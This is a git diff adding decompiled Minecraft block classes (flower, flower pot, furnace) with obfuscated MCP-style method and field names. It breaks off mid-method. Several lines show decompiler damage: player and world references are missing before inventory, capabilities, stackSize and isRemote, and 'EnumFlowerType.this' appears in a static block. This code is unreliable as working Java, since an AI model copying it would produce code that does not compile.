+  private static final String __OBFID = "CL_00000246";
+  
+  protected BlockFlower()
+  {
+    super(Material.plants);
+    setDefaultState(blockState.getBaseState().withProperty(func_176494_l(), func_176495_j() == EnumFlowerColor.RED ? EnumFlowerType.POPPY : EnumFlowerType.DANDELION));
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumFlowerType)state.getValue(func_176494_l())).func_176968_b();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumFlowerType[] var4 = EnumFlowerType.func_176966_a(func_176495_j());
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumFlowerType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176968_b()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(func_176494_l(), EnumFlowerType.func_176967_a(func_176495_j(), meta));
+  }
+  
+  public abstract EnumFlowerColor func_176495_j();
+  
+  public IProperty func_176494_l()
+  {
+    if (field_176496_a == null)
+    {
+      field_176496_a = PropertyEnum.create("type", EnumFlowerType.class, new Predicate()
+      {
+        private static final String __OBFID = "CL_00002120";
+        
+        public boolean func_180354_a(BlockFlower.EnumFlowerType p_180354_1_) {
+          return p_180354_1_.func_176964_a() == func_176495_j();
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_180354_a((BlockFlower.EnumFlowerType)p_apply_1_);
+        }
+      });
+    }
+    
+    return field_176496_a;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFlowerType)state.getValue(func_176494_l())).func_176968_b();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { func_176494_l() });
+  }
+  
+
+
+
+  public Block.EnumOffsetType getOffsetType()
+  {
+    return Block.EnumOffsetType.XZ;
+  }
+  
+  public static enum EnumFlowerColor
+  {
+    YELLOW("YELLOW", 0), 
+    RED("RED", 1);
+    
+    private static final EnumFlowerColor[] $VALUES = { YELLOW, RED };
+    private static final String __OBFID = "CL_00002117";
+    
+    private EnumFlowerColor(String p_i45716_1_, int p_i45716_2_) {}
+    
+    public BlockFlower func_180346_a()
+    {
+      return this == YELLOW ? Blocks.yellow_flower : Blocks.red_flower;
+    }
+  }
+  
+  public static enum EnumFlowerType implements IStringSerializable
+  {
+    DANDELION("DANDELION", 0, BlockFlower.EnumFlowerColor.YELLOW, 0, "dandelion"), 
+    POPPY("POPPY", 1, BlockFlower.EnumFlowerColor.RED, 0, "poppy"), 
+    BLUE_ORCHID("BLUE_ORCHID", 2, BlockFlower.EnumFlowerColor.RED, 1, "blue_orchid", "blueOrchid"), 
+    ALLIUM("ALLIUM", 3, BlockFlower.EnumFlowerColor.RED, 2, "allium"), 
+    HOUSTONIA("HOUSTONIA", 4, BlockFlower.EnumFlowerColor.RED, 3, "houstonia"), 
+    RED_TULIP("RED_TULIP", 5, BlockFlower.EnumFlowerColor.RED, 4, "red_tulip", "tulipRed"), 
+    ORANGE_TULIP("ORANGE_TULIP", 6, BlockFlower.EnumFlowerColor.RED, 5, "orange_tulip", "tulipOrange"), 
+    WHITE_TULIP("WHITE_TULIP", 7, BlockFlower.EnumFlowerColor.RED, 6, "white_tulip", "tulipWhite"), 
+    PINK_TULIP("PINK_TULIP", 8, BlockFlower.EnumFlowerColor.RED, 7, "pink_tulip", "tulipPink"), 
+    OXEYE_DAISY("OXEYE_DAISY", 9, BlockFlower.EnumFlowerColor.RED, 8, "oxeye_daisy", "oxeyeDaisy");
+    
+    private static final EnumFlowerType[][] field_176981_k;
+    private final BlockFlower.EnumFlowerColor field_176978_l;
+    private final int field_176979_m;
+    private final String field_176976_n;
+    private final String field_176977_o;
+    private static final EnumFlowerType[] $VALUES;
+    private static final String __OBFID = "CL_00002119";
+    
+    private EnumFlowerType(String p_i45718_1_, int p_i45718_2_, BlockFlower.EnumFlowerColor p_i45718_3_, int p_i45718_4_, String p_i45718_5_)
+    {
+      this(p_i45718_1_, p_i45718_2_, p_i45718_3_, p_i45718_4_, p_i45718_5_, p_i45718_5_);
+    }
+    
+    private EnumFlowerType(String p_i45719_1_, int p_i45719_2_, BlockFlower.EnumFlowerColor p_i45719_3_, int p_i45719_4_, String p_i45719_5_, String p_i45719_6_)
+    {
+      field_176978_l = p_i45719_3_;
+      field_176979_m = p_i45719_4_;
+      field_176976_n = p_i45719_5_;
+      field_176977_o = p_i45719_6_;
+    }
+    
+    public BlockFlower.EnumFlowerColor func_176964_a()
+    {
+      return field_176978_l;
+    }
+    
+    public int func_176968_b()
+    {
+      return field_176979_m;
+    }
+    
+    public static EnumFlowerType func_176967_a(BlockFlower.EnumFlowerColor p_176967_0_, int p_176967_1_)
+    {
+      EnumFlowerType[] var2 = field_176981_k[p_176967_0_.ordinal()];
+      
+      if ((p_176967_1_ < 0) || (p_176967_1_ >= var2.length))
+      {
+        p_176967_1_ = 0;
+      }
+      
+      return var2[p_176967_1_];
+    }
+    
+    public static EnumFlowerType[] func_176966_a(BlockFlower.EnumFlowerColor p_176966_0_)
+    {
+      return field_176981_k[p_176966_0_.ordinal()];
+    }
+    
+    public String toString()
+    {
+      return field_176976_n;
+    }
+    
+    public String getName()
+    {
+      return field_176976_n;
+    }
+    
+    public String func_176963_d()
+    {
+      return field_176977_o;
+    }
+    
+    static
+    {
+      field_176981_k = new EnumFlowerType[BlockFlower.EnumFlowerColor.values().length][];
+      
+
+
+
+
+      $VALUES = new EnumFlowerType[] { DANDELION, POPPY, BLUE_ORCHID, ALLIUM, HOUSTONIA, RED_TULIP, ORANGE_TULIP, WHITE_TULIP, PINK_TULIP, OXEYE_DAISY };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      BlockFlower.EnumFlowerColor[] var0 = BlockFlower.EnumFlowerColor.values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        BlockFlower.EnumFlowerColor var3 = var0[var2];
+        Collection var4 = Collections2.filter(Lists.newArrayList(values()), new Predicate()
+        {
+          private static final String __OBFID = "CL_00002118";
+          
+          public boolean func_180350_a(BlockFlower.EnumFlowerType p_180350_1_) {
+            return p_180350_1_.func_176964_a() == BlockFlower.EnumFlowerType.this;
+          }
+          
+          public boolean apply(Object p_apply_1_) {
+            return func_180350_a((BlockFlower.EnumFlowerType)p_apply_1_);
+          }
+        });
+        field_176981_k[var3.ordinal()] = ((EnumFlowerType[])var4.toArray(new EnumFlowerType[var4.size()]));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFlowerPot.java b/src/minecraft/net/minecraft/block/BlockFlowerPot.java
new file mode 100644
index 0000000..bfb5481
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFlowerPot.java
@@ -0,0 +1,629 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityFlowerPot;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockFlowerPot extends BlockContainer
+{
+  public static final PropertyInteger field_176444_a = PropertyInteger.create("legacy_data", 0, 15);
+  public static final PropertyEnum field_176443_b = PropertyEnum.create("contents", EnumFlowerType.class);
+  private static final String __OBFID = "CL_00000247";
+  
+  public BlockFlowerPot()
+  {
+    super(net.minecraft.block.material.Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(field_176443_b, EnumFlowerType.EMPTY).withProperty(field_176444_a, Integer.valueOf(0)));
+    setBlockBoundsForItemRender();
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    float var1 = 0.375F;
+    float var2 = var1 / 2.0F;
+    setBlockBounds(0.5F - var2, 0.0F, 0.5F - var2, 0.5F + var2, var1, 0.5F + var2);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    TileEntity var4 = worldIn.getTileEntity(pos);
+    
+    if ((var4 instanceof TileEntityFlowerPot))
+    {
+      Item var5 = ((TileEntityFlowerPot)var4).getFlowerPotItem();
+      
+      if ((var5 instanceof ItemBlock))
+      {
+        return Block.getBlockFromItem(var5).colorMultiplier(worldIn, pos, renderPass);
+      }
+    }
+    
+    return 16777215;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    ItemStack var9 = inventory.getCurrentItem();
+    
+    if ((var9 != null) && ((var9.getItem() instanceof ItemBlock)))
+    {
+      TileEntityFlowerPot var10 = func_176442_d(worldIn, pos);
+      
+      if (var10 == null)
+      {
+        return false;
+      }
+      if (var10.getFlowerPotItem() != null)
+      {
+        return false;
+      }
+      
+
+      Block var11 = Block.getBlockFromItem(var9.getItem());
+      
+      if (!func_149928_a(var11, var9.getMetadata()))
+      {
+        return false;
+      }
+      
+
+      var10.func_145964_a(var9.getItem(), var9.getMetadata());
+      var10.markDirty();
+      worldIn.markBlockForUpdate(pos);
+      
+      if (!capabilities.isCreativeMode) { if (--stackSize <= 0)
+        {
+          inventory.setInventorySlotContents(inventory.currentItem, null);
+        }
+      }
+      return true;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+  private boolean func_149928_a(Block p_149928_1_, int p_149928_2_)
+  {
+    return (p_149928_1_ == Blocks.tallgrass) && (p_149928_2_ == BlockTallGrass.EnumType.FERN.func_177044_a());
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    TileEntityFlowerPot var3 = func_176442_d(worldIn, pos);
+    return (var3 != null) && (var3.getFlowerPotItem() != null) ? var3.getFlowerPotItem() : Items.flower_pot;
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    TileEntityFlowerPot var3 = func_176442_d(worldIn, pos);
+    return (var3 != null) && (var3.getFlowerPotItem() != null) ? var3.getFlowerPotData() : 0;
+  }
+  
+
+
+
+  public boolean isFlowerPot()
+  {
+    return true;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (super.canPlaceBlockAt(worldIn, pos)) && (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()))
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntityFlowerPot var4 = func_176442_d(worldIn, pos);
+    
+    if ((var4 != null) && (var4.getFlowerPotItem() != null))
+    {
+      spawnAsEntity(worldIn, pos, new ItemStack(var4.getFlowerPotItem(), 1, var4.getFlowerPotData()));
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    super.onBlockHarvested(worldIn, pos, state, playerIn);
+    
+    if (capabilities.isCreativeMode)
+    {
+      TileEntityFlowerPot var5 = func_176442_d(worldIn, pos);
+      
+      if (var5 != null)
+      {
+        var5.func_145964_a(null, 0);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.flower_pot;
+  }
+  
+  private TileEntityFlowerPot func_176442_d(World worldIn, BlockPos p_176442_2_)
+  {
+    TileEntity var3 = worldIn.getTileEntity(p_176442_2_);
+    return (var3 instanceof TileEntityFlowerPot) ? (TileEntityFlowerPot)var3 : null;
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    Object var3 = null;
+    int var4 = 0;
+    
+    switch (meta)
+    {
+    case 1: 
+      var3 = Blocks.red_flower;
+      var4 = BlockFlower.EnumFlowerType.POPPY.func_176968_b();
+      break;
+    
+    case 2: 
+      var3 = Blocks.yellow_flower;
+      break;
+    
+    case 3: 
+      var3 = Blocks.sapling;
+      var4 = BlockPlanks.EnumType.OAK.func_176839_a();
+      break;
+    
+    case 4: 
+      var3 = Blocks.sapling;
+      var4 = BlockPlanks.EnumType.SPRUCE.func_176839_a();
+      break;
+    
+    case 5: 
+      var3 = Blocks.sapling;
+      var4 = BlockPlanks.EnumType.BIRCH.func_176839_a();
+      break;
+    
+    case 6: 
+      var3 = Blocks.sapling;
+      var4 = BlockPlanks.EnumType.JUNGLE.func_176839_a();
+      break;
+    
+    case 7: 
+      var3 = Blocks.red_mushroom;
+      break;
+    
+    case 8: 
+      var3 = Blocks.brown_mushroom;
+      break;
+    
+    case 9: 
+      var3 = Blocks.cactus;
+      break;
+    
+    case 10: 
+      var3 = Blocks.deadbush;
+      break;
+    
+    case 11: 
+      var3 = Blocks.tallgrass;
+      var4 = BlockTallGrass.EnumType.FERN.func_177044_a();
+      break;
+    
+    case 12: 
+      var3 = Blocks.sapling;
+      var4 = BlockPlanks.EnumType.ACACIA.func_176839_a();
+      break;
+    
+    case 13: 
+      var3 = Blocks.sapling;
+      var4 = BlockPlanks.EnumType.DARK_OAK.func_176839_a();
+    }
+    
+    return new TileEntityFlowerPot(Item.getItemFromBlock((Block)var3), var4);
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176443_b, field_176444_a });
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(field_176444_a)).intValue();
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    EnumFlowerType var4 = EnumFlowerType.EMPTY;
+    TileEntity var5 = worldIn.getTileEntity(pos);
+    
+    if ((var5 instanceof TileEntityFlowerPot))
+    {
+      TileEntityFlowerPot var6 = (TileEntityFlowerPot)var5;
+      Item var7 = var6.getFlowerPotItem();
+      
+      if ((var7 instanceof ItemBlock))
+      {
+        int var8 = var6.getFlowerPotData();
+        Block var9 = Block.getBlockFromItem(var7);
+        
+        if (var9 == Blocks.sapling)
+        {
+          switch (SwitchEnumType.field_180353_a[BlockPlanks.EnumType.func_176837_a(var8).ordinal()])
+          {
+          case 1: 
+            var4 = EnumFlowerType.OAK_SAPLING;
+            break;
+          
+          case 2: 
+            var4 = EnumFlowerType.SPRUCE_SAPLING;
+            break;
+          
+          case 3: 
+            var4 = EnumFlowerType.BIRCH_SAPLING;
+            break;
+          
+          case 4: 
+            var4 = EnumFlowerType.JUNGLE_SAPLING;
+            break;
+          
+          case 5: 
+            var4 = EnumFlowerType.ACACIA_SAPLING;
+            break;
+          
+          case 6: 
+            var4 = EnumFlowerType.DARK_OAK_SAPLING;
+            break;
+          
+          default: 
+            var4 = EnumFlowerType.EMPTY;
+            
+            break;
+          } } else if (var9 == Blocks.tallgrass)
+        {
+          switch (var8)
+          {
+          case 0: 
+            var4 = EnumFlowerType.DEAD_BUSH;
+            break;
+          
+          case 2: 
+            var4 = EnumFlowerType.FERN;
+            break;
+          case 1: 
+          default: 
+            var4 = EnumFlowerType.EMPTY;
+            
+            break;
+          } } else if (var9 == Blocks.yellow_flower)
+        {
+          var4 = EnumFlowerType.DANDELION;
+        }
+        else if (var9 == Blocks.red_flower)
+        {
+          switch (SwitchEnumType.field_180352_b[BlockFlower.EnumFlowerType.func_176967_a(BlockFlower.EnumFlowerColor.RED, var8).ordinal()])
+          {
+          case 1: 
+            var4 = EnumFlowerType.POPPY;
+            break;
+          
+          case 2: 
+            var4 = EnumFlowerType.BLUE_ORCHID;
+            break;
+          
+          case 3: 
+            var4 = EnumFlowerType.ALLIUM;
+            break;
+          
+          case 4: 
+            var4 = EnumFlowerType.HOUSTONIA;
+            break;
+          
+          case 5: 
+            var4 = EnumFlowerType.RED_TULIP;
+            break;
+          
+          case 6: 
+            var4 = EnumFlowerType.ORANGE_TULIP;
+            break;
+          
+          case 7: 
+            var4 = EnumFlowerType.WHITE_TULIP;
+            break;
+          
+          case 8: 
+            var4 = EnumFlowerType.PINK_TULIP;
+            break;
+          
+          case 9: 
+            var4 = EnumFlowerType.OXEYE_DAISY;
+            break;
+          
+          default: 
+            var4 = EnumFlowerType.EMPTY;
+            
+            break;
+          } } else if (var9 == Blocks.red_mushroom)
+        {
+          var4 = EnumFlowerType.MUSHROOM_RED;
+        }
+        else if (var9 == Blocks.brown_mushroom)
+        {
+          var4 = EnumFlowerType.MUSHROOM_BROWN;
+        }
+        else if (var9 == Blocks.deadbush)
+        {
+          var4 = EnumFlowerType.DEAD_BUSH;
+        }
+        else if (var9 == Blocks.cactus)
+        {
+          var4 = EnumFlowerType.CACTUS;
+        }
+      }
+    }
+    
+    return state.withProperty(field_176443_b, var4);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+  public static enum EnumFlowerType implements IStringSerializable
+  {
+    EMPTY("EMPTY", 0, "empty"), 
+    POPPY("POPPY", 1, "rose"), 
+    BLUE_ORCHID("BLUE_ORCHID", 2, "blue_orchid"), 
+    ALLIUM("ALLIUM", 3, "allium"), 
+    HOUSTONIA("HOUSTONIA", 4, "houstonia"), 
+    RED_TULIP("RED_TULIP", 5, "red_tulip"), 
+    ORANGE_TULIP("ORANGE_TULIP", 6, "orange_tulip"), 
+    WHITE_TULIP("WHITE_TULIP", 7, "white_tulip"), 
+    PINK_TULIP("PINK_TULIP", 8, "pink_tulip"), 
+    OXEYE_DAISY("OXEYE_DAISY", 9, "oxeye_daisy"), 
+    DANDELION("DANDELION", 10, "dandelion"), 
+    OAK_SAPLING("OAK_SAPLING", 11, "oak_sapling"), 
+    SPRUCE_SAPLING("SPRUCE_SAPLING", 12, "spruce_sapling"), 
+    BIRCH_SAPLING("BIRCH_SAPLING", 13, "birch_sapling"), 
+    JUNGLE_SAPLING("JUNGLE_SAPLING", 14, "jungle_sapling"), 
+    ACACIA_SAPLING("ACACIA_SAPLING", 15, "acacia_sapling"), 
+    DARK_OAK_SAPLING("DARK_OAK_SAPLING", 16, "dark_oak_sapling"), 
+    MUSHROOM_RED("MUSHROOM_RED", 17, "mushroom_red"), 
+    MUSHROOM_BROWN("MUSHROOM_BROWN", 18, "mushroom_brown"), 
+    DEAD_BUSH("DEAD_BUSH", 19, "dead_bush"), 
+    FERN("FERN", 20, "fern"), 
+    CACTUS("CACTUS", 21, "cactus");
+    
+    private final String field_177006_w;
+    private static final EnumFlowerType[] $VALUES = { EMPTY, POPPY, BLUE_ORCHID, ALLIUM, HOUSTONIA, RED_TULIP, ORANGE_TULIP, WHITE_TULIP, PINK_TULIP, OXEYE_DAISY, DANDELION, OAK_SAPLING, SPRUCE_SAPLING, BIRCH_SAPLING, JUNGLE_SAPLING, ACACIA_SAPLING, DARK_OAK_SAPLING, MUSHROOM_RED, MUSHROOM_BROWN, DEAD_BUSH, FERN, CACTUS };
+    private static final String __OBFID = "CL_00002115";
+    
+    private EnumFlowerType(String p_i45715_1_, int p_i45715_2_, String p_i45715_3_)
+    {
+      field_177006_w = p_i45715_3_;
+    }
+    
+    public String toString()
+    {
+      return field_177006_w;
+    }
+    
+    public String getName()
+    {
+      return field_177006_w;
+    }
+  }
+  
+
+  static final class SwitchEnumType
+  {
+    static final int[] field_180353_a;
+    static final int[] field_180352_b = new int[BlockFlower.EnumFlowerType.values().length];
+    private static final String __OBFID = "CL_00002116";
+    
+    static
+    {
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.POPPY.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.BLUE_ORCHID.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.ALLIUM.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.HOUSTONIA.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.RED_TULIP.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.ORANGE_TULIP.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.WHITE_TULIP.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.PINK_TULIP.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_180352_b[BlockFlower.EnumFlowerType.OXEYE_DAISY.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      field_180353_a = new int[BlockPlanks.EnumType.values().length];
+      
+      try
+      {
+        field_180353_a[BlockPlanks.EnumType.OAK.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        field_180353_a[BlockPlanks.EnumType.SPRUCE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        field_180353_a[BlockPlanks.EnumType.BIRCH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+      
+
+
+
+      try
+      {
+        field_180353_a[BlockPlanks.EnumType.JUNGLE.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError13) {}
+      
+
+
+
+      try
+      {
+        field_180353_a[BlockPlanks.EnumType.ACACIA.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError14) {}
+      
+
+
+
+      try
+      {
+        field_180353_a[BlockPlanks.EnumType.DARK_OAK.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError15) {}
+    }
+    
+    SwitchEnumType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFurnace.java b/src/minecraft/net/minecraft/block/BlockFurnace.java
new file mode 100644
index 0000000..ab87414
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFurnace.java
@@ -0,0 +1,309 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.Container;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityFurnace;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class BlockFurnace extends BlockContainer
+{
+  public static final PropertyDirection FACING = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  private final boolean isBurning;
+  private static boolean field_149934_M;
+  private static final String __OBFID = "CL_00000248";
+  
+  protected BlockFurnace(boolean p_i45407_1_)
+  {
+    super(net.minecraft.block.material.Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(FACING, EnumFacing.NORTH));
+    isBurning = p_i45407_1_;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.furnace);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_176445_e(worldIn, pos, state);
+  }
+  
+  private void func_176445_e(World worldIn, BlockPos p_176445_2_, IBlockState p_176445_3_)
+  {
+    if (!isRemote)
+    {
+      Block var4 = worldIn.getBlockState(p_176445_2_.offsetNorth()).getBlock();
+      Block var5 = worldIn.getBlockState(p_176445_2_.offsetSouth()).getBlock();
+      Block var6 = worldIn.getBlockState(p_176445_2_.offsetWest()).getBlock();
+      Block var7 = worldIn.getBlockState(p_176445_2_.offsetEast()).getBlock();
+      EnumFacing var8 = (EnumFacing)p_176445_3_.getValue(FACING);
+      
+      if ((var8 == EnumFacing.NORTH) && (var4.isFullBlock()) && (!var5.isFullBlock()))
+      {
+        var8 = EnumFacing.SOUTH;
+      }
+      else if ((var8 == EnumFacing.SOUTH) && (var5.isFullBlock()) && (!var4.isFullBlock()))
+      {
+        var8 = EnumFacing.NORTH;
+      }
+      else if ((var8 == EnumFacing.WEST) && (var6.isFullBlock()) && (!var7.isFullBlock()))
+      {
+        var8 = EnumFacing.EAST;
+      }
+      else if ((var8 == EnumFacing.EAST) && (var7.isFullBlock()) && (!var6.isFullBlock()))
+      {
+        var8 = EnumFacing.WEST;
+      }
+      
+      worldIn.setBlockState(p_176445_2_, p_176445_3_.withProperty(FACING, var8), 2);
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (isBurning)
+    {
+      EnumFacing var5 = (EnumFacing)state.getValue(FACING);
+      double var6 = pos.getX() + 0.5D;
+      double var8 = pos.getY() + rand.nextDouble() * 6.0D / 16.0D;
+      double var10 = pos.getZ() + 0.5D;
+      double var12 = 0.52D;
+      double var14 = rand.nextDouble() * 0.6D - 0.3D;
+      
+      switch (SwitchEnumFacing.field_180356_a[var5.ordinal()])
+      {
+      case 1: 
+        worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var6 - var12, var8, var10 + var14, 0.0D, 0.0D, 0.0D, new int[0]);
+        worldIn.spawnParticle(EnumParticleTypes.FLAME, var6 - var12, var8, var10 + var14, 0.0D, 0.0D, 0.0D, new int[0]);
+        break;
+      
+      case 2: 
+        worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var6 + var12, var8, var10 + var14, 0.0D, 0.0D, 0.0D, new int[0]);
+        worldIn.spawnParticle(EnumParticleTypes.FLAME, var6 + var12, var8, var10 + var14, 0.0D, 0.0D, 0.0D, new int[0]);
+        break;
+      
+      case 3: 
+        worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var6 + var14, var8, var10 - var12, 0.0D, 0.0D, 0.0D, new int[0]);
+        worldIn.spawnParticle(EnumParticleTypes.FLAME, var6 + var14, var8, var10 - var12, 0.0D, 0.0D, 0.0D, new int[0]);
+        break;
+      
+      case 4: 
+        worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var6 + var14, var8, var10 + var12, 0.0D, 0.0D, 0.0D, new int[0]);
+        worldIn.spawnParticle(EnumParticleTypes.FLAME, var6 + var14, var8, var10 + var12, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityFurnace))
+    {
+      playerIn.displayGUIChest((TileEntityFurnace)var9);
+    }
+    
+    return true;
+  }
+  
+
+  public static void func_176446_a(boolean p_176446_0_, World worldIn, BlockPos p_176446_2_)
+  {
+    IBlockState var3 = worldIn.getBlockState(p_176446_2_);
+    TileEntity var4 = worldIn.getTileEntity(p_176446_2_);
+    field_149934_M = true;
+    
+    if (p_176446_0_)
+    {
+      worldIn.setBlockState(p_176446_2_, Blocks.lit_furnace.getDefaultState().withProperty(FACING, var3.getValue(FACING)), 3);
+      worldIn.setBlockState(p_176446_2_, Blocks.lit_furnace.getDefaultState().withProperty(FACING, var3.getValue(FACING)), 3);
+    }
+    else
+    {
+      worldIn.setBlockState(p_176446_2_, Blocks.furnace.getDefaultState().withProperty(FACING, var3.getValue(FACING)), 3);
+      worldIn.setBlockState(p_176446_2_, Blocks.furnace.getDefaultState().withProperty(FACING, var3.getValue(FACING)), 3);
+    }
+    
+    field_149934_M = false;
+    
+    if (var4 != null)
+    {
+      var4.validate();
+      worldIn.setTileEntity(p_176446_2_, var4);
+    }
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
